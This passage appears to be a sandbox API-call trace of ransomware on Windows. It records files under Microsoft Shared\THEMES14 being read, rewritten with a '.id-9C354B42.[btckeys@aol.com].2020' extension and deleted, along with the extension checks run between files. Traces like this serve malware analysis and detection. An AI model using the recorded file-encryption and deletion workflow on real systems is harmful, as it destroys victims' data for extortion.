nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.411] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.411] SetEndOfFile (hFile=0x204) returned 1 [0081.411] CloseHandle (hObject=0x204) returned 1 [0081.412] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.412] SetEndOfFile (hFile=0x200) returned 1 [0081.413] CloseHandle (hObject=0x200) returned 1 [0081.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.414] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0081.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.414] lstrlenW (lpString=".doc") returned 4 [0081.414] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.414] lstrlenW (lpString=".docx") returned 5 [0081.414] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.414] lstrlenW (lpString=".pdf") returned 4 [0081.414] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.414] lstrlenW (lpString=".xls") returned 4 [0081.415] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.415] lstrlenW (lpString=".xlsx") returned 5 [0081.415] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.415] lstrlenW (lpString=".ppt") returned 4 [0081.415] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString=".zip") returned 4 [0081.415] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.415] lstrlenW (lpString=".rar") returned 4 [0081.415] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.415] lstrlenW (lpString=".bz2") returned 4 [0081.415] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.415] lstrlenW (lpString=".7z") returned 3 [0081.415] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString=".dbf") returned 4 [0081.415] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString=".1cd") returned 4 [0081.415] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString=".jpg") returned 4 [0081.415] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.415] lstrlenW (lpString=".doc") returned 4 [0081.415] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.416] lstrlenW (lpString=".docx") returned 5 [0081.416] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.416] lstrlenW (lpString=".pdf") returned 4 [0081.416] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.416] lstrlenW (lpString=".xls") returned 4 [0081.416] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.416] lstrlenW (lpString=".xlsx") returned 5 [0081.416] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.416] lstrlenW (lpString=".ppt") returned 4 [0081.416] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.416] lstrlenW (lpString=".zip") returned 4 [0081.416] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.416] lstrlenW (lpString=".rar") returned 4 [0081.416] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.416] lstrlenW (lpString=".bz2") returned 4 [0081.416] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.416] lstrlenW (lpString=".7z") returned 3 [0081.416] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.416] lstrlenW (lpString=".dbf") returned 4 [0081.416] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.416] lstrlenW (lpString=".1cd") returned 4 [0081.416] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0081.416] lstrlenW (lpString=".jpg") returned 4 [0081.416] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.417] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.417] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.417] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1364) returned 1 [0081.417] CloseHandle (hObject=0x200) returned 1 [0081.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0081.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.418] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.418] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.420] GetLastError () returned 0x0 [0081.420] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x554, lpOverlapped=0x0) returned 1 [0081.422] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x560, lpOverlapped=0x0) returned 1 [0081.423] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.424] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.424] SetEndOfFile (hFile=0x204) returned 1 [0081.424] CloseHandle (hObject=0x204) returned 1 [0081.424] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.424] SetEndOfFile (hFile=0x200) returned 1 [0081.425] CloseHandle (hObject=0x200) returned 1 [0081.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0081.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.426] lstrlenW (lpString=".doc") returned 4 [0081.426] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.426] lstrlenW (lpString=".docx") returned 5 [0081.426] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.426] lstrlenW (lpString=".pdf") returned 4 [0081.426] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.426] lstrlenW (lpString=".xls") returned 4 [0081.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.426] lstrlenW (lpString=".xlsx") returned 5 [0081.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.426] lstrlenW (lpString=".ppt") returned 4 [0081.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.426] lstrlenW (lpString=".zip") returned 4 [0081.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.426] lstrlenW (lpString=".rar") returned 4 [0081.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.427] lstrlenW (lpString=".bz2") returned 4 [0081.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.427] lstrlenW (lpString=".7z") returned 3 [0081.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.427] lstrlenW (lpString=".dbf") returned 4 [0081.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.427] lstrlenW (lpString=".1cd") returned 4 [0081.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.427] lstrlenW (lpString=".jpg") returned 4 [0081.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.427] lstrlenW (lpString=".doc") returned 4 [0081.427] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.427] lstrlenW (lpString=".docx") returned 5 [0081.427] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.427] lstrlenW (lpString=".pdf") returned 4 [0081.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.427] lstrlenW (lpString=".xls") returned 4 [0081.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.427] lstrlenW (lpString=".xlsx") returned 5 [0081.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.427] lstrlenW (lpString=".ppt") returned 4 [0081.428] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.428] lstrlenW (lpString=".zip") returned 4 [0081.428] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.428] lstrlenW (lpString=".rar") returned 4 [0081.428] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.428] lstrlenW (lpString=".bz2") returned 4 [0081.428] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.428] lstrlenW (lpString=".7z") returned 3 [0081.428] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.670] lstrlenW (lpString=".dbf") returned 4 [0081.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.674] lstrlenW (lpString=".1cd") returned 4 [0081.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0081.689] lstrlenW (lpString=".jpg") returned 4 [0081.689] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.689] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.690] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.691] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1593) returned 1 [0081.691] CloseHandle (hObject=0x168) returned 1 [0081.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0081.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.691] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.691] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.040] GetLastError () returned 0x0 [0082.040] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x639, lpOverlapped=0x0) returned 1 [0082.066] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x640, lpOverlapped=0x0) returned 1 [0082.067] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0082.067] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0082.067] SetEndOfFile (hFile=0x20c) returned 1 [0082.067] CloseHandle (hObject=0x20c) returned 1 [0082.067] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0082.067] SetEndOfFile (hFile=0x168) returned 1 [0082.068] CloseHandle (hObject=0x168) returned 1 [0082.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0082.069] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0082.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.069] lstrlenW (lpString=".doc") returned 4 [0082.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0082.069] lstrlenW (lpString=".docx") returned 5 [0082.069] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0082.069] lstrlenW (lpString=".pdf") returned 4 [0082.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0082.069] lstrlenW (lpString=".xls") returned 4 [0082.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0082.069] lstrlenW (lpString=".xlsx") returned 5 [0082.069] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0082.069] lstrlenW (lpString=".ppt") returned 4 [0082.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0082.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.069] lstrlenW (lpString=".zip") returned 4 [0082.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0082.069] lstrlenW (lpString=".rar") returned 4 [0082.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString=".bz2") returned 4 [0082.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0082.070] lstrlenW (lpString=".7z") returned 3 [0082.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString=".dbf") returned 4 [0082.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString=".1cd") returned 4 [0082.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString=".jpg") returned 4 [0082.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString=".doc") returned 4 [0082.070] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0082.070] lstrlenW (lpString=".docx") returned 5 [0082.070] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0082.070] lstrlenW (lpString=".pdf") returned 4 [0082.070] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString=".xls") returned 4 [0082.070] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString=".xlsx") returned 5 [0082.070] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0082.070] lstrlenW (lpString=".ppt") returned 4 [0082.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.070] lstrlenW (lpString=".zip") returned 4 [0082.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0082.070] lstrlenW (lpString=".rar") returned 4 [0082.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0082.071] lstrlenW (lpString=".bz2") returned 4 [0082.071] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0082.071] lstrlenW (lpString=".7z") returned 3 [0082.071] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0082.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.071] lstrlenW (lpString=".dbf") returned 4 [0082.071] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0082.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.071] lstrlenW (lpString=".1cd") returned 4 [0082.071] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0082.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0082.071] lstrlenW (lpString=".jpg") returned 4 [0082.071] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0082.071] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0082.071] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0082.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.230] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=15737) returned 1 [0083.233] CloseHandle (hObject=0x1e0) returned 1 [0083.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0083.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.244] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.244] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.254] GetLastError () returned 0x0 [0083.255] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x3d79, lpOverlapped=0x0) returned 1 [0083.260] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0083.262] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0083.262] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, 